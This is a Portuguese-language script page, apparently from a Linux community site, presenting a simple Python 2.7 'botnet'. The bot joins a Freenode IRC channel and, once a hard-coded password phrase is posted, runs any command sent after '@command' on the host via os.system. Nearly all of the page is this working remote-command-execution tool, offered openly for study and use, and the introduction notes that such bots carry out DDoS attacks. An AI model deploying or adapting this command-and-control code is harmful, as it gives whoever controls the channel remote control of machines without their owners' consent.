Botnet em Python sem segredos!
Publicado por mrxrobot (última atualização em 01/11/2017)
[ Hits: 31.833 ]
Homepage: https://notabug.org/mrxrobot_
Download 1508041489.botnet.py (versão 2)
Há tempos é utilizado por muitos programadores, hackers (pessoal do GNU/Linux) que habitam literalmente a rede Freenode, softwares que desempenham o papel de bot ou comumente chamados botnet para desempenhar diversas tarefas em rede tanto benéficas quando maléficas, entretanto vai do bom senso e da ética discernir o que é "certo" e o que é "errado", como exemplo temos os "DDoS" (Distributed Denial of Service) que se vale dos bots para realizar os ataques.
Esse script possui o conceito básico de como fazer um simples botnet utilizado a linguagem Python na sua versão 2.7, permitindo a execução de comandos no host que estiver rodando o programa botnet.py através do IRC.
Publiquei um artigo de como controlar o Arduíno via IRC, partindo do mesmo princípio deste script:
http://www.vivaolinux.com.br/artigo/Controlando-Arduino-via-IRC
Para facilitar o estudo do código aqui está o link do meu GitHub:
https://github.com/MarcosWarlock/Python/blob/master/botnet.py
#!/usr/bin/env python # -*- coding: utf-8 -*- ############################################# # botnet em python # por: Marcos Rodrigues de Carvalho # nickname: warlock # VOL: www.vivaolinux.com.br/~marcos_warlock # distribuição Gnu/Linux: Slackware 14.1 ############################################# import socket, os, time from re import search #Configuração do servidor IRC server = 'irc.freenode.net' porta = 6667 canal = '#testeprogramaboot' nick = 'controle' password = 'senha1234' # Cria o servidor socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server, porta)) s.send('NICK %s\r\n' %nick) s.send('USER ' + nick + ' ' + nick + ' ' + nick + ' .:\n') s.send('Join %s\r\n' %canal) time.sleep(2) print (s.recv(1024)) #Verifica o que é digitado no canal # Se for digitado "@ligar + senha", o status da variável teste passa para True # Se não o status da variável permanece False. teste = False while teste != True: msg = s.recv(5000) print (msg) if msg[0:4] == 'PING': s.send(msg.replace('PING', 'PONG')) if search('@ligar %s' %password, msg): teste = True s.send('PRIVMSG %s : Conectado com sucesso!\r\n' %canal) # Verifica o que é digitado no canal # Se for digitado "@command + comando", o programa executa o comando informado no # servidor que está rodando o botnet # EXEMPLO: @command clear # EXPLICAÇÃO: Será executado o comando clear que limpará a tela. while True: msg = s.recv(5000) print (msg) if msg[0:4] == 'PING': s.send(msg.replace('PING', 'PONG')) if search('@command', msg): msg = msg.split('@command') msg = msg[1].split('\r\n') os.system(msg[0]) s.send('PRIVMSG %s : Comando [ %s ] executado com sucesso!\r\n' %(canal, str(msg[0])))
O maior quebra cabeças de sempre
Compartilhando a tela do Computador no Celular via Deskreen
Como Configurar um Túnel SSH Reverso para Acessar Sua Máquina Local a Partir de uma Máquina Remota
Configuração para desligamento automatizado de Computadores em um Ambiente Comercial
Como renomear arquivos de letras maiúsculas para minúsculas
Imprimindo no formato livreto no Linux
Vim - incrementando números em substituição
Efeito "livro" em arquivos PDF
Como resolver o erro no CUPS: Unable to get list of printer drivers
Não to conseguindo resolver este problemas ao instalar o playonelinux (1)
Excluir banco de dados no xampp (1)
[Python] Automação de scan de vulnerabilidades
[Python] Script para analise de superficie de ataque
[Shell Script] Novo script para redimensionar, rotacionar, converter e espelhar arquivos de imagem
[Shell Script] Iniciador de DOOM (DSDA-DOOM, Doom Retro ou Woof!)
[Shell Script] Script para adicionar bordas às imagens de uma pasta